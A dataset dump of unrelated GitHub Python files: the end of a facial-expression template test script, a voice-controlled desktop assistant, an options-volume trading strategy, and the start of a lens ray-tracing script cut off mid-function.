PatternFeatureSelection(config, template=rbf_template)\n    rbf_template = np.repeat(np.expand_dims(preds, axis=0), len(rbf_template), axis=0)\n    print(\"[TRAIN] shape rbf_template\", np.shape(rbf_template))\n    template = patterns.fit(rbf_template)\n    template[template < 0.1] = 0\n\n    # # using eyebrow ft map only\n    # eyebrow_mask = [[[15, 22], [14, 21]]]  # left eye ext\n    # config['rbf_sigma'] = [980]\n    # eyebrow_mask = [[[15, 22], [21, 28]]]  # left eye int\n    # config['rbf_sigma'] = [950]\n    # eyebrow_mask = [[[17, 24], [27, 34]]]  # right eye int\n    # config['rbf_sigma'] = [950]\n    # eyebrow_mask = [[[16, 23], [38, 45]]]  # right eye ext\n    # eyebrow_mask = [[[19, 20], [38, 39]]]  # right eye ext  point where I want it to be\n    # config['rbf_sigma'] = [850]  # works on c1\n    # # 1\n    # eyebrow_mask = [[[17, 22], [36, 43]]]  # right eye ext\n    # # 2\n    # config['rbf_sigma'] = [750]  # works on c2\n    # # 3\n    # config['rbf_sigma'] = [850]  # avoid jump on c1\n    # # 4\n    # eyebrow_mask = [[[16, 23], [35, 44]]]  # 7x7\n    # config['rbf_sigma'] = [1500]  # catch front\n    # config['rbf_sigma'] = [1400]\n    # # config['rbf_sigma'] = [1300]  # jump\n    # # good on c2\n    # # eyebrow_mask = [[[15, 22], [14, 21]], [[15, 22], [21, 28]], [[17, 24], [27, 34]], [[15, 22], [36, 43]]]\n    # # config['rbf_sigma'] = [980, 900, 950, 900]\n    # # test on c1\n    # # eyebrow_mask = [[[15, 22], [14, 21]], [[15, 22], [21, 28]], [[17, 24], [27, 34]], [[15, 22], [36, 43]]]\n    # # config['rbf_sigma'] = [980, 950, 950, 920]\n    # eyebrow_patterns = PatternFeatureSelection(config, mask=eyebrow_mask)  # 3x3  eyebrow\n    # mask_eyebrow_template = np.repeat(np.expand_dims(eyebrow_preds, axis=0), len(eyebrow_mask), axis=0)\n    # print(\"[TRAIN] shape mask_eyebrow_template\", np.shape(mask_eyebrow_template))\n    # eyebrow_template = eyebrow_patterns.fit(mask_eyebrow_template)\n    # print(\"[TRAIN] shape eyebrow_template\", np.shape(eyebrow_template))\n    #\n    # # using lips ft map only\n    # lips_mask = [[[35, 40], [21, 26]]]  # left lips\n    # config['rbf_sigma'] = [2100]\n    # lips_mask = [[[34, 39], [27, 32]]]  # up lips\n    # config['rbf_sigma'] = [3000]\n    # lips_mask = [[[36, 41], [33, 38]]]  # right lips\n    # config['rbf_sigma'] = [1800]\n    # lips_mask = [[[38, 43], [27, 32]]]  # down lips\n    # config['rbf_sigma'] = [2500]\n    # lips_mask = [[[35, 40], [21, 26]], [[34, 39], [27, 32]], [[36, 41], [33, 38]], [[38, 43], [27, 32]]]\n    # config['rbf_sigma'] = [2100, 3000, 1800, 2500]\n    # lips_patterns = PatternFeatureSelection(config, mask=lips_mask)  # 3x3  eyebrow\n    # mask_lips_template = np.repeat(np.expand_dims(lips_preds, axis=0), len(lips_mask), axis=0)\n    # print(\"[TRAIN] shape mask_lips_template\", np.shape(mask_lips_template))\n    # lips_template = lips_patterns.fit(mask_lips_template)\n    # print(\"[TRAIN] shape lips_template\", np.shape(lips_template))\n    #\n    # template = np.concatenate((eyebrow_template, lips_template), axis=3)\n    # template = eyebrow_template\n    # print(\"[TRAIN] shape template\", np.shape(template))\n    # template[template < 0.1] = 0\n\n    # compute positions\n    pos = calculate_position(template, mode=\"weighted average\", return_mode=\"xy float flat\")\n    print(\"[TRAIN] shape pos\", np.shape(pos))\n\n    if plot_intermediate:\n        plot_cnn_output(template, os.path.join(\"models/saved\", config[\"config_name\"]),\n                        \"00_template.gif\", verbose=True, video=True)\n\n        test_pos_2d = np.reshape(pos, (len(pos), -1, 2))\n        plot_ft_map_pos(test_pos_2d,\n                        fig_name=\"00b_human_pos.png\",\n                        path=os.path.join(\"models/saved\", config[\"config_name\"]))\n\n        # test_max_preds = np.expand_dims(np.amax(test_preds, axis=3), axis=3)\n        test_max_preds = np.expand_dims(np.amax(eyebrow_preds, axis=3), axis=3)\n        # test_max_preds = np.expand_dims(np.amax(lips_preds, axis=3), axis=3)\n        preds_plot = test_max_preds / np.amax(test_max_preds) * 255\n        print(\"shape preds_plot\", np.shape(preds_plot))\n        plot_ft_pos_on_sequence(pos, preds_plot, vid_name='00_ft_eyebrow_pos.mp4',\n                                save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                                pre_proc='raw', ft_size=(56, 56))\n\n\n        plot_ft_pos_on_sequence(pos, data[0],\n                                vid_name='00_ft_pos_human.mp4',\n                                save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                                lmk_size=1, ft_size=(56, 56))\n\n    if compute_NB:\n        nb_model.n_features = np.shape(pos)[-1]  # todo add this to init\n        # train manually ref vector\n        nb_model.r = np.zeros(nb_model.n_features)\n        nb_model._fit_reference([pos, data[1]], config['batch_size'])\n        print(\"[TRAIN] model.r\", np.shape(nb_model.r))\n        print(nb_model.r)\n        ref_train = np.copy(nb_model.r)\n        # train manually tuning vector\n        nb_model.t = np.zeros((nb_model.n_category, nb_model.n_features))\n        nb_model.t_mean = np.zeros((nb_model.n_category, nb_model.n_features))\n        nb_model._fit_tuning([pos, data[1]], config['batch_size'])\n        ref_tuning = np.copy(nb_model.t)\n        print(\"[TRAIN] ref_tuning[1]\")\n        print(ref_tuning[1])\n        # get it resp\n        it_train = nb_model._get_it_resp(pos)\n        print(\"[TRAIN] shape it_train\", np.shape(it_train))\n\n        # ds_train = nb_model._get_decisions_neurons(it_train, config['seq_length'])\n        # print(\"[TRAIN] shape ds_train\", np.shape(ds_train))\n        # print()\n\nif human_full:\n    # -------------------------------------------------------------------------------------------------------------------\n    # test Full human\n    # load data\n    data = load_data(config)\n    # predict\n    preds = v4_model.predict(data[0], verbose=1)\n    print(\"[PRED] shape prediction\", np.shape(preds))\n\n    # get feature maps that mimic a semantic selection pipeline\n    # keep only highest IoU semantic score\n    eyebrow_preds = preds[..., best_eyebrow_IoU_ft]\n    print(\"[PRED] shape eyebrow semantic feature selection\", np.shape(eyebrow_preds))\n    lips_preds = preds[..., best_lips_IoU_ft]\n    print(\"[PRED] shape lips semantic feature selection\", np.shape(lips_preds))\n    preds = np.concatenate((eyebrow_preds, lips_preds), axis=3)\n    print(\"[PRED] shape preds\", np.shape(preds))\n\n    # max activation\n    max_eyebrow_preds = np.expand_dims(np.amax(eyebrow_preds, axis=-1), axis=3)\n    max_lips_preds = np.expand_dims(np.amax(lips_preds, axis=-1), axis=3)\n    print(\"[PRED] max_eyebrow_preds\", np.shape(max_eyebrow_preds))\n    print(\"[PRED] max_lips_preds\", np.shape(max_lips_preds))\n\n    # compute templates\n    mask_template = np.repeat(np.expand_dims(preds, axis=0), len(mask), axis=0)\n    template = patterns.transform(mask_template)\n    print(\"[PRED] shape template\", np.shape(template))\n    template[template < 0.1] = 0\n\n    # mask_eyebrow_template = np.repeat(np.expand_dims(eyebrow_preds, axis=0), len(eyebrow_mask), axis=0)\n    # print(\"[TRAIN] shape mask_eyebrow_template\", np.shape(mask_eyebrow_template))\n    # eyebrow_template = eyebrow_patterns.transform(mask_eyebrow_template)\n    # mask_lips_template = np.repeat(np.expand_dims(lips_preds, axis=0), len(lips_mask), axis=0)\n    # print(\"[TRAIN] shape mask_lips_template\", np.shape(mask_lips_template))\n    # lips_template = lips_patterns.transform(mask_lips_template)\n    #\n    # template = np.concatenate((eyebrow_template, lips_template), axis=3)\n    # print(\"[PRED] shape template\", np.shape(template))\n    # template[template < 0.1] = 0\n\n    # compute positions\n    pos = calculate_position(template, mode=\"weighted average\", return_mode=\"xy float flat\")\n    print(\"[PRED] shape pos\", np.shape(pos))\n\n    if compute_NB:\n        # get it resp for eyebrows\n        it_train = nb_model._get_it_resp(pos)\n        print(\"[PRED] shape it_train\", np.shape(it_train))\n\n        # ds_train = nb_model._get_decisions_neurons(it_train, config['seq_length'])\n        # print(\"[PRED] shape ds_train\", np.shape(ds_train))\n        # print()\n\nif test:\n    # -------------------------------------------------------------------------------------------------------------------\n    # test monkey\n\n    # load data\n    test_data = load_data(config, train=False)\n\n    # predict\n    test_preds = v4_model.predict(test_data[0], verbose=1)\n    print(\"[TEST] shape test_preds\", np.shape(test_preds))\n\n    # get feature maps that mimic a semantic selection pipeline\n    # keep only highest IoU semantic score\n    test_eyebrow_preds = test_preds[..., best_eyebrow_IoU_ft]\n    test_lips_preds = test_preds[..., best_lips_IoU_ft]\n    print(\"[TEST] shape eyebrow semantic feature selection\", np.shape(test_eyebrow_preds))\n    print(\"[TEST] shape lips semantic feature selection\", np.shape(test_lips_preds))\n    test_preds = np.concatenate((test_eyebrow_preds, test_lips_preds), axis=3)\n    print(\"[TEST] shape test_preds\", np.shape(test_preds))\n\n    # max activation\n    test_max_eyebrow_preds = np.expand_dims(np.amax(test_eyebrow_preds, axis=-1), axis=3)\n    print(\"[TEST] test_max_eyebrow_preds\", np.shape(test_max_eyebrow_preds))\n    test_max_lips_preds = np.expand_dims(np.amax(test_lips_preds, axis=-1), axis=3)\n    print(\"[TEST] test_max_lips_preds\", np.shape(test_max_lips_preds))\n\n    # add holistic templates\n    test_mask = [[[8, 15], [17, 24]], [[9, 16], [22, 29]], [[9, 16], [28, 35]], [[8, 15], [33, 40]],\n                 [[33, 38], [19, 24]], [[32, 37], [26, 31]], [[33, 38], [32, 37]], [[34, 39], [26, 31]]]\n    config['rbf_sigma'] = [3500, 3500, 3500, 3500, 2100, 3200, 2100, 3500]\n\n    test_mask = [[[32, 37], [26, 31]]]\n    config['rbf_sigma'] = [3200]\n    test_patterns = PatternFeatureSelection(config, mask=test_mask)  # 3x3  eyebrow\n    test_mask_template = np.repeat(np.expand_dims(test_preds, axis=0), len(test_mask), axis=0)\n    test_template = test_patterns.fit(test_mask_template)\n    test_template[test_template < 0.1] = 0\n\n    #\n    # # using eyebrow ft map only\n    # test_eyebrow_maks = [[[9, 16], [17, 24]]]  # left eye ext\n    # config['rbf_sigma'] = [800]\n    # test_eyebrow_maks = [[[10, 17], [22, 29]]]  # left eye int\n    # config['rbf_sigma'] = [800]\n    # test_eyebrow_maks = [[[9, 16], [28, 35]]]  # right eye int\n    # config['rbf_sigma'] = [800]\n    # test_eyebrow_maks = [[[8, 15], [33, 40]]]  # right eye ext\n    # config['rbf_sigma'] = [540]\n    # test_eyebrow_maks = [[[9, 16], [17, 24]], [[10, 17], [22, 29]], [[9, 16], [28, 35]], [[8, 15], [33, 40]]]\n    # config['rbf_sigma'] = [800, 800, 800, 540]\n    # test_patterns = PatternFeatureSelection(config, mask=test_eyebrow_maks)  # 3x3  eyebrow\n    # test_mask_eyebrow_template = np.repeat(np.expand_dims(test_eyebrow_preds, axis=0), len(test_eyebrow_maks), axis=0)\n    # print(\"[TEST] shape test_mask_eyebrow_template\", np.shape(test_mask_eyebrow_template))\n    # test_eyebrow_template = test_patterns.fit(test_mask_eyebrow_template)\n    # print(\"[TEST] shape test_eyebrow_template\", np.shape(test_eyebrow_template))\n    #\n    # # using lips ft map only\n    # test_lips_mask = [[[33, 38], [19, 24]]]  # left eye ext\n    # config['rbf_sigma'] = [1800]\n    # test_lips_mask = [[[32, 37], [26, 31]]]  # left eye int\n    # config['rbf_sigma'] = [3000]\n    # test_lips_mask = [[[33, 38], [32, 37]]]  # right eye int\n    # config['rbf_sigma'] = [2100]\n    # test_lips_mask = [[[35, 40], [26, 31]]]  # right eye ext\n    # config['rbf_sigma'] = [3200]\n    # test_lips_mask = [[[33, 38], [19, 24]], [[32, 37], [26, 31]], [[33, 38], [32, 37]], [[35, 40], [26, 31]]]\n    # config['rbf_sigma'] = [1800, 3000, 2100, 3200]\n    # test_patterns = PatternFeatureSelection(config, mask=test_lips_mask)  # 3x3  eyebrow\n    # test_mask_lips_template = np.repeat(np.expand_dims(test_lips_preds, axis=0), len(test_lips_mask), axis=0)\n    # print(\"[TEST] shape test_mask_lips_template\", np.shape(test_mask_lips_template))\n    # test_lips_template = test_patterns.fit(test_mask_lips_template)\n    # print(\"[TEST] shape test_lips_template\", np.shape(test_lips_template))\n    #\n    # test_template = np.concatenate((test_eyebrow_template, test_lips_template), axis=3)\n    # print(\"[TEST] shape test_template\", np.shape(test_template))\n    # test_template[test_template < 0.1] = 0\n    #\n    # compute positions\n    test_pos = calculate_position(test_template, mode=\"weighted average\", return_mode=\"xy float flat\")\n    print(\"[TEST] shape test_pos\", np.shape(test_pos))\n\n    if plot_intermediate:\n        plot_cnn_output(test_template, os.path.join(\"models/saved\", config[\"config_name\"]),\n                        \"00_test_template.gif\", verbose=True, video=True)\n\n        test_pos_2d = np.reshape(test_pos, (len(test_pos), -1, 2))\n        plot_ft_map_pos(test_pos_2d,\n                        fig_name=\"00b_monkey_test_pos.png\",\n                        path=os.path.join(\"models/saved\", config[\"config_name\"]))\n\n        # test_max_preds = np.expand_dims(np.amax(test_preds, axis=3), axis=3)\n        # test_max_preds = np.expand_dims(np.amax(test_eyebrow_preds, axis=3), axis=3)\n        test_max_preds = np.expand_dims(np.amax(test_lips_preds, axis=3), axis=3)\n        preds_plot = test_max_preds / np.amax(test_max_preds) * 255\n        print(\"shape preds_plot\", np.shape(preds_plot))\n        plot_ft_pos_on_sequence(test_pos, preds_plot, vid_name='00_ft_eyebrow_pos.mp4',\n                                save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                                pre_proc='raw', ft_size=(56, 56))\n\n\n        plot_ft_pos_on_sequence(test_pos, test_data[0],\n                                vid_name='00_ft_pos_monkey.mp4',\n                                save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                                lmk_size=1, ft_size=(56, 56))\n\n    if compute_NB:\n        # get IT responses of the model\n        it_test = nb_model._get_it_resp(test_pos)\n\n        # test by training new ref\n        nb_model._fit_reference([test_pos, test_data[1]], config['batch_size'])\n        ref_test = np.copy(nb_model.r)\n        it_ref_test = nb_model._get_it_resp(test_pos)\n        #\n        # # ds_test = nb_model._get_decisions_neurons(it_ref_test, config['seq_length'])\n        # # print(\"[TEST] shape ds_test\", np.shape(ds_test))\n\n\nif plot:\n    # --------------------------------------------------------------------------------------------------------------------\n    # plots\n    # ***********************       test 00 raw output      ******************\n    #\n    # # raw activity\n    # plot_cnn_output(max_eyebrow_preds, os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                 \"00_max_feature_maps_eyebrow_output.gif\", verbose=True, video=True)\n    # plot_cnn_output(max_lips_preds, os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                 \"00_max_feature_maps_lips_output.gif\", verbose=True, video=True)\n    # plot_cnn_output(test_max_eyebrow_preds, os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                 \"00_test_max_feature_maps_eyebrow_output.gif\", verbose=True, video=True)\n    # plot_cnn_output(test_max_lips_preds, os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                 \"00_test_max_feature_maps_lips_output.gif\", verbose=True, video=True)\n    #\n    # plot_cnn_output(preds, os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                 \"00a_max_feature_maps_output.gif\", verbose=True, video=True)\n    # plot_cnn_output(test_preds, os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                 \"00a_test_max_maps_output.gif\", verbose=True, video=True)\n    #\n    # build arrows\n    arrow_tail = np.repeat(np.expand_dims(np.reshape(ref_train, (-1, 2)), axis=0), config['n_category'], axis=0)\n    arrow_head = np.reshape(ref_tuning, (len(ref_tuning), -1, 2))\n    arrows = [arrow_tail, arrow_head]\n    arrows_color = ['#0e3957', '#3b528b', '#21918c', '#5ec962', '#fde725']\n\n    # put one color per label\n    labels = data[1]\n    color_seq = np.zeros(len(preds))\n    color_seq[labels == 1] = 1\n    color_seq[labels == 2] = 2\n    color_seq[labels == 3] = 3\n    color_seq[labels == 4] = 4\n\n    print(\"[PLOT] shape preds\", np.shape(preds))\n    pos_2d = np.reshape(pos, (len(pos), -1, 2))\n    print(\"[PLOT] shape pos_flat\", np.shape(pos_2d))\n    plot_ft_map_pos(pos_2d,\n                    fig_name=\"00b_human_train_pos.png\",\n                    path=os.path.join(\"models/saved\", config[\"config_name\"]),\n                    color_seq=color_seq,\n                    arrows=arrows,\n                    arrows_color=arrows_color)\n\n    # build arrows\n    arrow_tail = np.repeat(np.expand_dims(np.reshape(ref_test, (-1, 2)), axis=0), config['n_category'], axis=0)\n    arrow_head = np.reshape(ref_tuning, (len(ref_tuning), -1, 2))\n    arrows = [arrow_tail, arrow_head]\n    arrows_color = ['#0e3957', '#3b528b', '#21918c', '#5ec962', '#fde725']\n\n    # put one color per label\n    test_labels = test_data[1]\n    color_seq = np.zeros(len(test_labels))\n    color_seq[test_labels == 1] = 1\n    color_seq[test_labels == 2] = 2\n    color_seq[test_labels == 3] = 3\n    color_seq[test_labels == 4] = 4\n\n    test_pos_2d = np.reshape(test_pos, (len(test_pos), -1, 2))\n    plot_ft_map_pos(test_pos_2d,\n                    fig_name=\"00b_monkey_test_pos.png\",\n                    path=os.path.join(\"models/saved\", config[\"config_name\"]),\n                    color_seq=color_seq,\n                    arrows=arrows,\n                    arrows_color=arrows_color)\n\n    # ***********************       test 01 model     ******************\n    # plot it responses for eyebrow model\n    nb_model.plot_it_neurons(it_train,\n                             title=\"01_it_train\",\n                             save_folder=os.path.join(\"models/saved\", config[\"config_name\"]))\n    # nb_model.plot_it_neurons(it_test,\n    #                          title=\"01_it_test\",\n    #                          save_folder=os.path.join(\"models/saved\", config[\"config_name\"]))\n    nb_model.plot_it_neurons(it_ref_test,\n                             title=\"01_it_ref_test\",\n                             save_folder=os.path.join(\"models/saved\", config[\"config_name\"]))\n\n    # ***********************       test 02 model     ******************\n    # plot it responses for eyebrow model\n    nb_model.plot_it_neurons_per_sequence(it_train,\n                             title=\"02_it_train\",\n                             save_folder=os.path.join(\"models/saved\", config[\"config_name\"]))\n    # nb_model.plot_it_neurons_per_sequence(it_test,\n    #                          title=\"02_it_test\",\n    #                          save_folder=os.path.join(\"models/saved\", config[\"config_name\"]))\n    nb_model.plot_it_neurons_per_sequence(it_ref_test,\n                             title=\"02_it_ref_test\",\n                             save_folder=os.path.join(\"models/saved\", config[\"config_name\"]))\n\n    print()\n    # plot tracked vector on sequence\n    plot_ft_pos_on_sequence(pos, data[0],\n                            vid_name='03_ft_pos_human.mp4',\n                            save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                            lmk_size=1, ft_size=(56, 56))\n\n    # plot tracked vector on sequence\n    plot_ft_pos_on_sequence(test_pos, test_data[0],\n                            vid_name='03_ft_pos_monkey.mp4',\n                            save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                            lmk_size=1, ft_size=(56, 56))\n    print()\n\n    # plot tracked vector on feature maps\n    max_eyebrow_preds_plot = max_eyebrow_preds / np.amax(max_eyebrow_preds) * 255\n    plot_ft_pos_on_sequence(pos[:, :8], max_eyebrow_preds_plot, vid_name='03_ft_pos_eyebrow_human.mp4',\n                            save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                            pre_proc='raw', ft_size=(56, 56))\n    max_lips_preds_plot = max_lips_preds / np.amax(max_lips_preds) * 255\n    plot_ft_pos_on_sequence(pos[:, 8:], max_lips_preds_plot, vid_name='03_ft_pos_lips_human.mp4',\n                            save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                            pre_proc='raw', ft_size=(56, 56))\n    # monkey\n    test_max_eyebrow_preds_plot = test_max_eyebrow_preds / np.amax(test_max_eyebrow_preds) * 255\n    plot_ft_pos_on_sequence(test_pos[:, :8], test_max_eyebrow_preds_plot, vid_name='03_ft_pos_eyebrow_monkey.mp4',\n                            save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                            pre_proc='raw', ft_size=(56, 56))\n    test_max_lips_preds_plot = test_max_lips_preds / np.amax(test_max_lips_preds) * 255\n    plot_ft_pos_on_sequence(test_pos[:, 8:], test_max_lips_preds_plot, vid_name='03_ft_pos_lips_monkey.mp4',\n                            save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n                            pre_proc='raw', ft_size=(56, 56))\n\n\n    # ***********************       test 04 decision neuron     ******************\n    # nb_model.plot_decision_neurons(ds_train,\n    #                                title=\"04_ds_train\",\n    #                                save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                                normalize=True)\n    # nb_model.plot_decision_neurons(ds_test,\n    #                                title=\"04_ds_test\",\n    #                                save_folder=os.path.join(\"models/saved\", config[\"config_name\"]),\n    #                                normalize=True)\n","repo_name":"michaelStettler/BVS","sub_path":"tests/NormBase/t11g_holisitc_template.py","file_name":"t11g_holisitc_template.py","file_ext":"py","file_size_in_byte":25434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18138146221","text":"import os\r\nimport pyttsx3\r\nimport datetime\r\nimport speech_recognition as sr\r\nimport wikipedia\r\nimport webbrowser\r\nimport smtplib\r\nimport random\r\n\r\n\r\n\r\nengine= pyttsx3.init('sapi5')\r\nvoices= engine.getProperty('voices')\r\n#print(voices)\r\nengine.setProperty('voice',voices[1].id)\r\n\r\ndef speak(audio):\r\n    engine.say(audio)\r\n    engine.runAndWait()\r\n\r\ndef wishMe():\r\n    hour=int(datetime.datetime.now().hour)\r\n    if hour>=0 and hour<12:\r\n        speak(\"Good Morning!!\")\r\n    elif hour>=12 and hour<18:\r\n        speak(\"Good Afternoon !!\")    \r\n    else:\r\n        speak(\"Good Evening !!\")\r\n    speak(\"Hey I am Phoebe, How may I help you?\")        \r\n\r\ndef takecommand():\r\n    r = sr.Recognizer()\r\n    with sr.Microphone() as source:\r\n        print(\"Listening...\")\r\n        r.pause_threshold = 1\r\n        audio = r.listen(source)\r\n\r\n    try:\r\n        print(\"Recognizing...\")\r\n        query= r.recognize_google(audio, language='en-in')    \r\n        print(f\"User said: {query}\\n\")  \r\n\r\n    except Exception as e :\r\n        print(\"say that again please ...\")\r\n        return \"none\"\r\n    return query       \r\n\r\ndef sendEmail(to,content) :\r\n    server = smtplib.SMTP('smtp.gmail.com', 587)\r\n    server.ehlo()\r\n    server.starttls()\r\n    server.login('email@gmail.com','password')\r\n    server.sendmail('email@gmail.com',to,content)\r\n    server.close()    \r\n\r\ndef show(query):\r\n    \r\n    if 'friends' in query:\r\n        dr =\"path\"\r\n        episode= os.listdir(dr)\r\n        os.startfile(os.path.join(dr,(episode[0]))) \r\n    elif 'Harry potter' in query:\r\n        dr =\"path\"\r\n        episode= os.listdir(dr)\r\n        os.startfile(os.path.join(dr,(episode[0]))) \r\n\r\n\r\nif __name__==\"__main__\":\r\n    wishMe()\r\n    while True:\r\n     query = takecommand().lower()\r\n    \r\n     if 'wikipedia' in query:\r\n        speak('Searching wikipedia.....')\r\n        query = query.replace(\"wikipedia\", \"\")\r\n        results = wikipedia.summary(query,sentences=2)\r\n        speak('According to wikipedia...')\r\n        print(results)\r\n        speak(results)\r\n\r\n     elif 'open youtube' in query:\r\n        webbrowser.open(\"youtube.com\")\r\n    \r\n     elif 'open google' in query:\r\n        webbrowser.open(\"google.com\")\r\n\r\n     elif 'open stackoverflow' in query:\r\n         webbrowser.open(\"stackoverflow.com\")  \r\n\r\n     elif 'play music' in query:\r\n         music_dr =\"C:\\\\Users\\\\soumy\\\\Music\"\r\n         songs= os.listdir(music_dr)\r\n         print(songs)\r\n         n=random.randint(0,len(songs))\r\n         os.startfile(os.path.join(music_dr,(songs[n])))\r\n\r\n     elif 'time' in query:\r\n         strtime= datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n         speak(f\"Ma'am the time is {strtime}\")   \r\n\r\n     elif 'open code' in query:\r\n         codepath = \"C:\\\\path\"  \r\n         os.startfile(codepath) \r\n             \r\n     elif 'email' in query:\r\n         try:\r\n             speak(\"What should it say?\")\r\n             content = takecommand()\r\n             to = \"email@gmail.com\"\r\n             sendEmail(to,content)\r\n             speak(\"Email has been sent\")\r\n         except Exception as e:\r\n            print(e)\r\n            speak(\"Sorry am  unable to do that\")   \r\n\r\n     elif 'tell me a joke' in query:\r\n         joke_list = ['I ate a clock yesterday, it was very time-consuming.','Have you played the updated kids game? I Spy With My Little Eye . . . Phone.','A perfectionist walked into a bar...apparently, the bar wasn’t set high enough','You know it is going to be a bad day when the letters in your alphabet soup spell D-I-S-A-S-T-E-R.','A fire hydrant has H-2-O on the inside and K-9-P on the outside','Did you hear about the crook who stole a calendar? He got twelve months.']\r\n         n=random.randint(0,len(joke_list))\r\n         speak(joke_list[n])\r\n\r\n     elif 'good quote' in query:\r\n         quote_list = ['Love For All, Hatred For None','Change the world by being yourself','Every moment is a fresh beginning','Never regret anything that made you smile','Die with memories, not dreams','Aspire to inspire before we expire.' ] \r\n         n=random.randint(0,len(quote_list))\r\n         speak(quote_list[n])\r\n  \r\n     elif 'show' in query:\r\n         speak('Which one do you want me to open?')\r\n         query=takecommand().lower()\r\n         show(query)\r\n        \r\n     elif 'quit' in query:\r\n        speak('Ok maam ,I am Quiting.....')\r\n        exit()                ","repo_name":"Sjaitawat/Desktop_assistant","sub_path":"phoebe1.py","file_name":"phoebe1.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24813287067","text":"from trading.stats.before.q_options import Options, main\nfrom trading import util\n\nclass Options2(Options):\n    Abbr = \"options2\"\n\n    def answer(self, data, strategy):\n        o, s = data\n        #XXX factorize computing to a method in Options\n        price = s.summary.get('Last Trade')\n        puts_vol = sum(map(lambda x:x.volume, o.puts))\n        calls_vol = sum(map(lambda x:x.volume, o.calls))\n        puts_vol2 = sum(map(lambda x:x.volume*(price-x.strike), o.puts))\n        calls_vol2 = sum(map(lambda x:x.volume*(x.strike-price), o.calls))\n        puts_vol3 = sum(map(lambda x:x.open_int, o.puts))\n        calls_vol3 = sum(map(lambda x:x.open_int, o.calls))\n        c, p, c2, p2 = 0, 0, 0, 0\n        for e in o.calls:\n            if e.volume >= e.open_int: \n                if price > e.strike:\n                    c+=1\n                else:\n                    c2+=1\n        for e in o.puts:\n            if e.volume >= e.open_int:\n                if price < e.strike:\n                    p += 1\n                else:\n                    p2+=1\n        r1 = puts_vol and calls_vol/float(puts_vol) or 0\n        r2 = puts_vol2 and calls_vol2/float(puts_vol2) or 0\n        r3 = puts_vol3 and calls_vol3/float(puts_vol3) or 0\n            \n        if strategy == 'gap_up':\n            return r3 < r1 < r2 and not p2 and not c and not c2\n            #return not not (r3 > r1 > r2  and p and c and c2)\n        elif strategy == 'gap_down':\n            return\n \nif __name__ == '__main__':\n    main(Options2)\n","repo_name":"HeliWang/trading","sub_path":"trading.stats.before/before/q_options2.py","file_name":"q_options2.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34498344274","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 13 12:21:52 2021\n\n@author: JackC\n\"\"\"\n\nfrom math import tan,pi,atan,sin,asin\nfrom matplotlib import pyplot as plt\n\nclass len:\n    def __init__(self,r,f,tc,te,nd):\n        self.r=r\n        self.f=f\n        self.tc=tc\n        self.te=te\n        self.nd=nd\n        self.rr=((tc/2 - te/2)**2 + r**2)/(tc - te)\n    def getYDWithYD(self,y,d):\n        if(d==0):\n            d=0.0000001\n        #输入为y，与透镜中心面交点离光轴距离，d，入射角度(绝对角度)\n        #输出为y，与透镜中心面交点离光轴距离，d，出射角度(绝对角度)\n        k=-tan(d/180*pi)\n        b=y\n        tc=self.tc\n        r=self.rr\n        \n        #print(\"d:\"+str(d))\n        #print(\"b:\"+str(b))\n        #print(\"k:\"+str(k))\n        #print(\"tc:\"+str(tc))\n        #print(\"rr:\"+str(r))\n        \n        x=-(b - (2*b - k*(- 4*b**2 - 8*b*k*r + 4*b*k*tc + 4*k**2*r*tc - k**2*tc**2 + 4*r**2)**(1/2) + 2*k*r - k*tc)/(2*(k**2 + 1)))/k\n        #y=(2*b + k*(- 4*b**2 - 8*b*k*r + 4*b*k*tc + 4*k**2*r*tc - k**2*tc**2 + 4*r**2)**(1/2) + 2*k*r - k*tc)/(2*(k**2 + 1))\n        y=-k*x+b\n        #得到左侧入射交点\n        \n        theta=atan((r-tc/2-x)/y)\n        theta+=pi/2\n        phi=d/180*pi\n        \n        theta=(theta+2*pi)%pi\n        if(theta>pi/2):\n            theta-=pi\n        phi=(phi+2*pi)%pi\n        if(phi>pi/2):\n            phi-=pi\n        \n        #print(\"inang:\"+str(inang/pi*180))\n        print(\"phi:\"+str(phi/pi*180))\n        print(\"theta:\"+str(theta/pi*180))\n        print(\"x:\"+str(x))\n        print(\"y:\"+str(y))\n        \n        \n        inang=abs(phi-theta)\n        ouang=asin(sin(inang)/self.nd)\n        print(\"ina:\"+str(inang/pi*180))\n        print(\"oua:\"+str(ouang/pi*180))\n        \n        if(phi<theta):\n            out=theta-ouang\n        else:\n            out=theta+ouang\n                \n        out=(out+2*pi)%pi\n        if(out>pi/2):\n            out-=pi\n        outy=y-tan(out)*x\n        \n        outo=out/pi*180\n        print(\"out:\"+str(outo))\n        \n        k=tan(out)\n        b=outy\n        x2=-(b - (2*b + k*(- 4*b**2 + 8*b*k*r - 4*b*k*tc + 4*k**2*r*tc - k**2*tc**2 + 4*r**2)**(1/2) - 2*k*r + k*tc)/(2*(k**2 + 1)))/k\n        y2=-k*x2+b\n        \n        theta2=atan((x2-r+tc/2)/y2)\n        theta2+=pi/2\n        theta2=(theta2+2*pi)%pi\n        if(theta2>pi/2):\n            theta2-=pi\n        print(\"theta2:\"+str(theta2/pi*180))\n        inang2=abs(out-theta2)\n        ouang2=asin(sin(inang2)*self.nd)\n        